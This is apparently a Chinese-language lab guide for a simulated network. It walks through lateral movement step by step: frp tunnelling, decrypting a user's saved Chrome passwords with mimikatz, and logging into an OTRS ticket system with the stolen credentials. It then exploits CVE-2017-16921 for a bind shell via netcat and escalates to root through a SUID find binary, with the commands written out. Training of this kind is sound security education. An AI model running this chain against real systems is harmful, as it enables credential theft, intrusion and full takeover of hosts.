通过使用mimikatz工具破解用户浏览器保存的凭据,并同时将破解后的凭据登录OA工单系统,成功利用该工单系统的漏洞,返回shell命令,最后进行提权操作,了解并掌握如何进行信息搜集用户的可利用的信息。
横向渗透
Mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从Isass.exe进程中获取当前登录系统用户名的密码。
服务器:Windows Server 2008 1台;防火墙 1台;Centos 7 1台;Windows 10 2台;Windows 2016 2台;
交换机/路由:交换机 4台;路由器 1台;
软件:frp;SocksCap64;谷歌浏览器;mimikatz;netcat;
1.收集xiaowang浏览器凭据
2.收集工单系统CMS版本信息
3.利用CMS漏洞进行远程命令执行
单击上方菜单栏中的【环境申请】按钮启动实验拓扑,选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。
双击打开攻击机2-windows桌面【工具】的【frp】文件夹,在该文件夹空白处,右键弹出菜单,选择【在此处打开命令提示符】。
在命令提示符窗口中,输入以下命令,开启本地服务端代理监听7000端口。
frps -c frps.ini
输入以下命令并按下回车,远程连接目标服务器的SSH202.1.10.57服务器,ssh用户名为【test】,密码为【Com.1234】。如下图所示。
ssh [email protected]
输入以下命令并按多次回车,执行frpc客户端与服务端连接。
frpc -c /tmp/frpc.ini &
输入以下命令并按多次回车,在网站门户2中开启frp服务端程序。
frps -c /tmp/frps.ini &
双击打开桌面上的远程桌面,下拉【计算机】,选择【202.1.10.34】,单击【连接】按钮,连接目标202.1.10.34服务器。
进入远程桌面窗口,关闭服务器管理器窗口,在桌面shift+右键弹出菜单,选择【在此处打开命令提示符】。
输入命令并按回车,在网站门户1中开启frp客户端程序。
frpc -c frpc.ini
依次双击打开桌面上的【工具】→【SocksCap64-4.7】文件夹,并双击打开【SocksCap64.exe】socks代理客户端软件。
注:打开SocksCap64.exe会有些慢。
在socks代理客户端软件窗口中,双击【远程桌面连接*32】图标。
弹出远程桌面连接窗口,在计算机下拉框选择【10.0.18.22:1111】,完成后按回车。
注:在第八单元的8.2子任务中将LCX添加注册表启动项,由本地3389端口转发本地1111端口,绕过防火墙限制。
等待目标远程连接。
等待目标远程连接后,弹出内网10.0.18.22窗口界面,。
在远程窗口【10.0.18.22:1111】,右键弹出菜单,选择【在此处打开命令提示符】。
输入以下命令并按回车,进入xiaowang用户下的【Appdata】目录。
cd C:\Users\xiaowang.ZHIDA\AppData
输入以下命令并按回车,使用wmic命令获取当前所有的快捷方式,可查看当前用户安装程序为谷歌浏览器。
wmic PATH Win32_ShortcutFile get name /FORMAT:table
输入以下命令并按回车,使用mimikatz的dpapi::chrome模块破解谷歌保存的凭据,保存凭据URL【http://10.0.20.12/otrs/index.pl】,用户名为【root@localhost】,密码为【admin】,猜测此账号为系统管理员。
mimikatz "dpapi::chrome /in:"""C:\Users\xiaowang.ZHIDA\AppData\Local\Google\Chrome\User Data\Default\Login Data""" /unprotect" exit
回到攻击机2-windows界面,打开socks代理客户端,双击【Google Chrome* 64】图标。
在地址栏中输入URL【http://10.0.20.12/otrs/index.pl】,进入内网OA工单系统登录页面。
在登录页面中,输入用户名为【root@localhost】,密码为【admin】,最后单击【登录】按钮,进入管理员OA工单系统管理页面。
按F12进入开发者工具,单击【Network】选项卡,并重新刷新浏览器页面。
单击下方【Name】的【index.pl】,并单击【Headers】选项卡,进入该页面的HTTP响应头。
在HTTP响应头的【x-powered-By】发现该OTRS工单系统的版本为【5.0.24】。
注:收集OTRS的5.0.24CMS漏洞信息,CVE-2017-16921可进行远程命令执行,并影响OTRS的版本有4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1。
在地址栏输入【http://10.0.20.12/otrs/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework】并按回车,进入PGP配置模块。
在【PGP】选项处,下拉菜单,选择【是】,启用PGP模块插件,PGP模块插件,执行命令。
在【PGP::Bin】选项处,修改为【/usr/bin/python3】,此处使用python3命令,进行正向TCP连接。
注:当修改为【/usr/bin/python】,并单击最下方的【更新】按钮,则提示为【错误:文件不存在】,因此此处尝试填写【/usr/bin/python3】。
打开桌面【工具】的python_bind_tcp.txt文件,全选复制payload代码。
替换粘贴至【PGP::Options】的参数,填写为python3的参数值,目的为开启目标服务器的本地端口9999。
单击下方【更新】按钮。
注:若网页刷新慢再次单击【更新】按钮。
在地址栏输入【http://10.0.20.12/otrs/index.pl?Action=AdminPGP】并按回车,打开PGP密钥管理页面,执行保存的命令。
注:若网页刷新慢再次执行URL。
回到socks代理客户端界面,双击打开命令提示符图标。
弹出命令提示符窗口,输入以下命令按回车,使用cd命令进入桌面【工具】文件夹目录下。
cd C:\Users\Administrator\Desktop\工具
输入以下命令并按回车,使用netcat工具监听目标IP【10.0.20.12】的【9999】本地端口,结果返回显示【10.0.20.12 9999 (?) open】,证明目标端口9999已开启,正向TCP连接成功。
nc -nv 10.0.20.12 9999
输入以下命令并按回车,使用python命令返回TTY shell。
python3 -c 'import pty;pty.spawn("/bin/bash")';
输入以下命令并按回车,查找可利用具有SUID权限的程序,可看到目标主机的find程序具有SUID权限。
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null
输入以下命令并按回车,利用find命令提权并返回shell会话。
find . -exec /bin/bash -p \;
输入whoami并按回车,显示当前用户为root用户,提权成功。
通过上述操作,使用mimikatz工具破解用户浏览器保存的凭据,并同时将破解后的凭据登录OA工单系统,成功利用该工单系统的漏洞,返回shell命令,最后进行提权操作,了解并掌握如何进行信息搜集用户的可利用的信息,符合实验预期。